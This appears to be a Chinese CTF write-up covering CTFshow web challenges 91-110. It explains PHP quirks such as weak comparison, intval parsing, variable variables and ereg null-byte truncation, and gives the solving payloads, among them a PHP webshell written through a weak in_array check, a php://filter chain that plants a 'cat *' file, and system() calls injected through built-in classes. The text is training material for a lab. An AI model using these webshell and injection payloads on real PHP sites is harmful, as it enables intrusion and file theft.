《CTFshow-Web入门》10. Web 91~110
Web 入门
- 索引
- web91
- 题解
- 总结
- web92
- 题解
- 总结
- web93
- 题解
- web94
- 题解
- web95
- 题解
- web96
- 题解
- web97
- 题解
- web98
- 题解
- web99
- 题解
- 总结
- web100
- 题解
- web101
- 题解
- web102
- 题解
- web103
- 题解
- web104
- 题解
- web105
- 题解
- 总结
- web106
- 题解
- web107
- 题解
- web108
- 题解
- web109
- 题解
- web110
- 题解
ctf - web入门
索引
- web91:PHP 特性之
preg_match()
,换行解析漏洞。 - web92:PHP 特性之
intval()
,==
与===
的区别。 - web93:PHP 特性之
intval()
。 - web94:PHP 特性之
intval()
。 - web95:PHP 特性之
intval()
。 - web96:PHP 特性之
highlight_file()
、字符串匹配。 - web97:PHP 特性之
md5()
。 - web98:PHP 三元运算,GET 与 POST 传参。
- web99:PHP 特性之
in_array()
。 - web100:PHP 特性之赋值运算【=】优先级。
- web101:PHP 特性之赋值运算【=】优先级,
ReflectionClass($class)
建立反射类。 - web102:PHP 特性之赋值运算【=】优先级,
is_numeric()
特性,call_user_func()
与hex2bin()
利用,PHP 伪协议。 - web103:与 web102 没什么区别。
- web104:PHP 特性之
sha1()
,弱等于==
。 - web105:PHP 特性之变量覆盖。
- web106:PHP 特性之
sha1()
,弱等于==
。 - web107:PHP 特性之
sha1()
,弱等于==
,parse_str()
利用。 - web108:PHP 特性之
ereg()
截断漏洞。 - web109:PHP 特性之
__toString()
与类触发。 - web110:FilesystemIterator 类,
getcwd()
利用
web91
题解
^ 和 $ 这种正则匹配,只匹配一行。但是正则匹配 /m 可以执行多行匹配。
所以第一层条件是多行匹配,第二层条件是单行匹配,这样就可以用换行符 %0a 绕过。
题解:
URl + ?cmd=abc%0aphp
总结
正则表达式:
参考文章:换行解析漏洞(CVE-2017-15715)
web92
题解
这一题乍一看和 web90 很像。
但这里比较是两个等号(弱匹配比较),而 web90 是三个等号。
所以这题不能用除了 e 的字母绕过了。
php有个特殊的字母:e,可以表示科学计数法。
但是当intval()读取到e的时候就会停止。
法一:
与 web90 一样,使用非十进制数传递:
url + ?num=010574
法二:
url + ?num=4476e123
总结
php 中 ==
与 ===
的区别
两个等号是先把等号两边的变量转化成相同的类型,如果转换类型后的结果是相等的,就认为相等。
三个等号是先判断两边变量的数据类型,如果数据类型相同,再去判断两边的值,如果值相等,那么为真。
web93
题解
这题直接不能使用字母了。
根据 web90 的经验,直接进制转换(详见 web90)。
解:
url + ?num=010574
web94
题解
- strpos()
查找字符串首次出现的位置。字符串位置是从0开始。
相比上一题不能用进制转换。
但是 intval() 函数可以把浮点数类型变为 int 类型。
解:
url + ?num=4476.0
web95
题解
本题过滤了小数点,字符限制不能使用十六进制和 e。
但是可以使用 8 进制绕过。
可以通过加号或者空格绕过限制条件。
解:
url + ?num=+010574
web96
题解
字符串匹配,加上当前目录 ./ 绕过。
解:
url + ?u=./flag.php
web97
题解
根据题目,PHP md5() 函数如果传入数组,返回值将是 NULL,所以可以用数组绕过。
解:post 传递数据。
a[]=1&b[]=2
web98
题解
题目分析:
$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/
所以目标就是 get 传参 HTTP_FLAG=flag。
get 传参就要执行第一个三元运算,所以 post 也需要传递 HTTP_FLAG=flag。
中间两个条件会返回结果 ’flag’,没有影响。
解:通过 get 请求与 post 请求同时传递相同参数:
get 传参:
url + ?HTTP_FLAG=flag
post 传参:
HTTP_FLAG=flag
web99
题解
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。
所以这题通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。
解:
get 传参:
url + ?n=30.php
post 传参:
content=<?php system($_POST[1]);?>
访问 webshell 30.php,并传递命令:
总结
php 函数:
- array_push():向尾部插入元素。
- in_array():检查数组中是否存在指定值。
- file_put_contents():将字符串写入文件。
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。
web100
题解
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){
特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1)
返回 true 即可满足 if 判断。
if(!preg_match("/\;/", $v2)){ // v2 不能含分号if(preg_match("/\;/", $v3)){ // v3 要含分号eval("$v2('ctfshow')$v3"); // 可利用注释}
再根据以上代码分析,得出 payload:
解:
url + ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
web101
题解
与 web100 类似,但过滤了很多字符,不能使用 web100 的方法了。
由于涉及了类,可以利用 ReflectionClass 建立反射类。
new ReflectionClass($class)
可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
解:
url + ?v1=1&v2=echo new Reflectionclass&v3=;
除此以外 flag 部分字符经过了 ASCII 编码,还少了一位字符,不过爆破即可。
web102
题解
这题饶了几个圈。根据答案逆推理顺了思路。
先看题解。
将下列中括号中的代码 base64 编码,注意末尾有一个空格。
[<?=`cat *`; ]编码后的数据:
PD89YGNhdCAqYDsg再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据:
5044383959474e686443417159447367在编码后的数据前面随便加上两个占位数字,这里加 11。
115044383959474e686443417159447367同时传递以下数据:
v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.phpv1 以 POST 方式传输,v2,v3使用 GET。
题解:
GET 传递:
url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
POST 传递:
v1=hex2bin
之后访问 1.php 查看源码即可获取 flag。
下面分析一下:
- call_user_func():
用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数 - file_put_contents():
写入内容到文件中,第一个参数是文件名,第二个参数是内容 - hex2bin():
把十六进制值的字符串转换为 ASCII 字符(十六进制转二进制)。
所以总的思路就是将 <?=`cat *`; 代码传递并通过伪协议写入一个 php 文件,之后访问此文件就可以执行代码读取当前目录下所有文件的内容。
为什么选择以上代码写入文件,参考下列资料:
《ctfshow学习记录-web入门(php特性99-108)》:
https://blog.csdn.net/m0_48780534/article/details/125445026
web103
题解
与 web102 没有太大区别,沿用 web102 的解法。
正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。
题解:
GET 传递:
url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
POST 传递:
v1=hex2bin
之后访问 1.php 查看源码即可获取 flag。
分析见 web102。
web104
题解
sha1():计算字符串的 sha1 散列值。
这题没什么好说的,简单的传递一样的值即可。
补充,与 web97 类似,可用数组绕过。
除此以外,值的判断是使用 ==
(弱等于,详见 web92),所以找加密后 0e 开头的两个值也可以。
aaK1STfY -> 0e76658526655756207688271159624026011393aaO8zKZF -> 0e89257456677279068558073954252716165668
web105
题解
这一题涉及变量覆盖。
示例:
$a='b';
$c='d';
$b=1;
$d=0;
echo $a; # 输出 b
echo $c; # 输出 d
echo $$a; # 输出 1,即 $$a -> $b -> 1
echo $$c; # 输出 0
根据代码,尝试使用变量覆盖让 $suces
和 $error
都等于 $flag
。这样无论如何根据代码的输出都能得知 flag。
解:
GET 传参:
url + ?suces=flag
POST 传参:
error=suces
总结
变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。
以 PHP 为例,$$a
是一种特殊的变量语法,用来实现变量覆盖:
$foo = 'bar';
$bar = 'Hello, World!';// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar
// 最终输出 'Hello, World!' 。
echo $$foo;
web106
题解
比 web104 多判断了 v1 不能等于 v2。
方法一:使用数组。
GET 传参:
url + ?v2[]=2
POST 传参:
v1[]=1
方法二:使用加密后 0e 开头的两个值。
aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668
web107
题解
parse_str(string,array):把查询字符串解析到变量中。
parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)
所以根据代码 v1 传递内容是 v1=flag=?,具体值根据 v3 的 md5 值定。再加上是弱等于,只要 md5 加密后 0e 开头即可。
解:
GET:
url + ?v3=QNKCDZO
POST:
v1=flag=0
web108
题解
- ereg():用于执行正则表达式匹配。
- strrev():反转字符串。
- ereg 函数存在 NULL 截断漏洞,可以绕过正则过滤,使用 %00 截断。
0x36d,转十进制是877。
解:
url + ?c=a%00778
web109
题解
这道题用到魔术方法 __toString()
,不少 php 的内置类里都包含有这个方法,如 Reflectionclass
、Exception
、Error
、CachingIterator
。
__toString()
:当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
所以 echo 使得 v1 类触发 __toString()
,v2 传递的数据被输出。
对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。
解:
1、
url + ?v1=CachingIterator&v2=system(ls)
2、
url + ?v1=CachingIterator&v2=system('cat fl36dg.txt')
查看源码获取 flag。
也可以换成其他类。
web110
题解
过滤了很多字符,不能再用 web109 的方法。
考察:
- php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
- getcwd() 函数,获取当前工作目录,返回当前工作目录。
解:
url + ?v1=FilesystemIterator&v2=getcwd
可以看到 flag 文件就在当前目录,直接访问获取 flag。
悔既往之失,亦要防将来之非。
——《菜根谭》(明)洪应明
相关文章:

《CTFshow-Web入门》10. Web 91~110
Web 入门 索引web91题解总结 web92题解总结 web93题解 web94题解 web95题解 web96题解 web97题解 web98题解 web99题解总结 web100题解 web101题解 web102题解 web103题解 web104题解 web105题解总结 web106题解 web107题解 web108题解 web109题解 web110题解 ctf - web入门 索…...

计组--总线
一、概念 总线是一组能为多个部件分时共享的公共信息传送线路。 共享是指总线上可以挂接多个部件,各个部件之间互相交换的信息都可以通过这组线路分时共享。 分时是指同一时刻只允许有一个部件向总线发送信息,如果系统中有多个部件,则它们…...
Git中的HEAD
Git中的HEAD HEAD^数字:表示当前提交的父提交,具体是第几个父提交通过数字指定,HEAD^1第一个父提交,该语法只 能用于合并(merge)的提交记录,因为一个通过合并产生的commit对象才有多个父提交。 HEAD~数字࿱…...

软件设计师_数据库系统_学习笔记
文章目录 3.1 数据库模式3.1.1 三级模式 两级映射3.1.2 数据库设计过程 3.2 ER模型3.3 关系代数与元组演算3.4 规范化理论3.5 并发控制3.6 数据库完整性约束3.7 分布式数据库3.8 数据仓库与数据挖掘 3.1 数据库模式 3.1.1 三级模式 两级映射 内模式直接与物理数据库相关联的 定…...

毛玻璃态计算器
效果展示 页面结构组成 从上述的效果可以看出,计算机的页面比较规整,适合grid布局。 CSS3 知识点 grid 布局 实现计算机布局 <div class"container"><form class"calculator" name"calc"><input type…...

常说的I2C协议是干啥的(电子硬件)
I2C(Inter-Integrated circuit)协议是电子传输信号中常用的一种协议。 它是一种两线式串行双向总线,用于连接微控制器和外部设备,也因为它所需的引脚数只需要两条(CLK和DATA),硬件实现简单&…...

C/C++进程超详细详解【中部分】(系统性学习day07)
目录 前言 一、守护进程 1.概念 2.守护进程创建的原理(如图清晰可见) 3.守护进程的实现(代码块) 二、dup和dup2 1,复制文件描述符 2.文件描述符重定向 三、系统日志 1,打开日志 2,向日…...
S型速度曲线轨迹规划(约束条件为速度和位移)
S型速度曲线规划的基础知识可以查看下面这篇博客: 带平滑功能的斜坡函数(多段曲线控温纯S型曲线SCL源代码+完整算法分析)_RXXW_Dor的博客-CSDN博客PLC运动控制基础系列之梯形速度曲线,可以参看下面这篇博客:PLC运动控制基础系列之梯形速度曲线_RXXW_Dor的博客-CSDN博客运…...

从零手搓一个【消息队列】实现数据的硬盘管理和内存管理(线程安全)
文章目录 一、硬盘管理1, 创建 DiskDataCenter 类2, init() 初始化3, 封装交换机4, 封装队列5, 关于绑定6, 关于消息 二、内存管理1, 数据结构的设计2, 创建 MemoryDataCenter 类3, 关于交换机4, 关于队列5, 关于绑定6, 关于消息7, 恢复数据 三、小结 创建 Spring Boot 项目, S…...

自动驾驶中的感知模型:实现安全与智能驾驶的关键
自动驾驶中的感知模型:实现安全与智能驾驶的关键 文章目录 引言感知模型的作用感知模型的技术安全与挑战结论 2023星火培训【专项营】Apollo开发者社区布道师倾力打造,包含PnC、新感知等的全新专项课程上线了。理论与实践相结合,全新的PnC培训…...

【CVPR 2023】DSVT: Dynamic Sparse Voxel Transformer with Rotated Sets
文章目录 开场白效果意图 重点VoxelNet: End-to-End Learning for Point Cloud Based 3D Object DetectionX-Axis DSVT LayerY-Axis DSVT Layer Dynamic Sparse Window AttentionDynamic set partitionRotated set attention for intra-window feature propagation.Hybrid wind…...

MySQL超入门(1)__迅速上手掌握MySQL
# 1.选择语句 # 注意事项:MySQL不区分大小写,SELECT * 代表选择全部 // 测试一 USE sql_store; -- 使用 sql_store库 SELECT * FROM customers -- 查询customers表 WHERE customer_id 1 OR customer_id 4 -- 条件判断为customer_id 1或customer_id …...

四、浏览器渲染过程,DOM,CSSDOM,渲染,布局,绘制详细介绍
知识点: 1、为什么不能先执行 js文件?? 我们不能先执行JS文件,必须等到CSSOM构建完成了才能执行JS文件,因为前面已经说过渲染树是需要DOM和CSSOM构建完成了以后才能构建,而且JS是可以操控CSS样式的&#…...

2021-06-10 51单片机设计一个蜂鸣器报警电路每秒
缘由求助一下谢谢啦51单片机_嵌入式-CSDN问答设计一个蜂鸣器报警电路,按下K1,蜂鸣器响一声,按下K2,蜂鸣器响三声,按下K3,蜂鸣器长鸣。要求响声和间隔的时间均为1秒,长鸣不限时,但是此时应设置一…...
D‘Agostino-Pearson正态检验|偏度skewness和峰度kurtosis
DAgostino-Pearson检验(也称为DAgostino和Pearson正态性检验)是一种用于检验数据是否符合正态分布的统计检验方法。它基于数据的样本统计量,主要包括偏度(skewness)和峰度(kurtosis),…...

基于树莓派CM4制作img系统镜像批量制作TF卡
文章目录 前言1. 环境与工具2. 制作镜像3. 烧录镜像4. 总结 前言 树莓派烧录完系统做定制化配置比较费时间。在面对大批量的树莓派要配置,那时间成本是非常巨大的。第一次配置完可以说是摸着石头过河,但是会弄了以后再配置,都是一些重复性操…...

【中秋国庆不断更】OpenHarmony组件内状态变量使用:@State装饰器
State装饰的变量,或称为状态变量,一旦变量拥有了状态属性,就和自定义组件的渲染绑定起来。当状态改变时,UI会发生对应的渲染改变。 在状态变量相关装饰器中,State是最基础的,使变量拥有状态属性的装饰器&am…...

【Java 进阶篇】MySQL多表关系详解
MySQL是一种常用的关系型数据库管理系统,它允许我们创建多个表格,并通过各种方式将这些表格联系在一起。在实际的数据库设计和应用中,多表关系是非常常见的,它能够更好地组织和管理数据,实现数据的复杂查询和分析。本文…...

【开发篇】十、Spring缓存:手机验证码的生成与校验
文章目录 1、缓存2、用HashMap模拟自定义缓存3、SpringBoot提供缓存的使用4、手机验证码案例完善 1、缓存 缓存是一种介于数据永久存储介质与数据应用之间的数据临时存储介质使用缓存可以有效的减少低速数据读取过程的次数(例如磁盘IO),提高…...

【Aurora 8B/10B IP(1)--初步了解】
Aurora 8B/10B IP(1)–初步了解 1 Aurora 8b/10b IP的基本状态: •通用数据通道吞吐量范围从480 Mb/s到84.48 Gb/s •支持多达16个连续粘合7GTX/GTH系列、UltraScale™ GTH或UltraScale+™ GTH收发器和4绑定GTP收发器 •Aurora 8B/10B协议规范v2.3顺从的 •资源成本低(请参…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
day52 ResNet18 CBAM
在深度学习的旅程中,我们不断探索如何提升模型的性能。今天,我将分享我在 ResNet18 模型中插入 CBAM(Convolutional Block Attention Module)模块,并采用分阶段微调策略的实践过程。通过这个过程,我不仅提升…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...

AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.
ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #:…...

从 GreenPlum 到镜舟数据库:杭银消费金融湖仓一体转型实践
作者:吴岐诗,杭银消费金融大数据应用开发工程师 本文整理自杭银消费金融大数据应用开发工程师在StarRocks Summit Asia 2024的分享 引言:融合数据湖与数仓的创新之路 在数字金融时代,数据已成为金融机构的核心竞争力。杭银消费金…...
第7篇:中间件全链路监控与 SQL 性能分析实践
7.1 章节导读 在构建数据库中间件的过程中,可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中,必须做到: 🔍 追踪每一条 SQL 的生命周期(从入口到数据库执行)&#…...